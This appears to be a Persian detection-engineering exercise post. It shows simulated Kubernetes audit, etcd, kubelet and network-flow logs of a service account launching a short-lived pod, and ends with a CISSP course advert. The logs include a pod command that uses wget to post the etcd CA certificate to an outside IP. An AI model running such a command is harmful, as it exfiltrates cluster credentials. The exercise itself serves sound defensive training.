تمرین برای مهندسان کشف

Detection Engineer


I0723 21:12:45.345678 1 audit.go:277] "Request received"
verb="create"
URI="/api/v1/namespaces/default/pods"
user="system:serviceaccount:devops:trusted-app"
sourceIP="192.168.10.239"



2025-07-23 21:13:02.991423 I | etcdserver: request: /v3/kv/range size:829
username=system:serviceaccount:devops:trusted-app
remote=192.168.10.239



I0723 21:13:10.564321 1 audit.go:277] "Create Pod" as "sleep-attack-459f9"
using serviceaccount="trusted-app"
image="busybox"
command="wget http://10.10.10.10/exfil --post-file /etc/kubernetes/pki/etcd/ca.crt"


Jul 23 21:13:15 node-4 kubelet[1217]: Created pod: sleep-attack-459f9 with image busybox
Jul 23 21:14:02 node-4 kubelet[1217]: Deleted pod: sleep-attack-459f9


{
"src_ip": "192.168.10.239",
"dst_ip": "10.10.10.10",
"src_port": 43216,
"dst_port": 80,
"payload_size": "2.3MB",
"timestamp": "2025-07-23T21:13:18Z"
}


حالا فکر کنید به اینکه چه خبره ؟!




ثبت نام دوره آمادگی آزمون CISSP
با 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
#مرکز_تخصصی_CISSP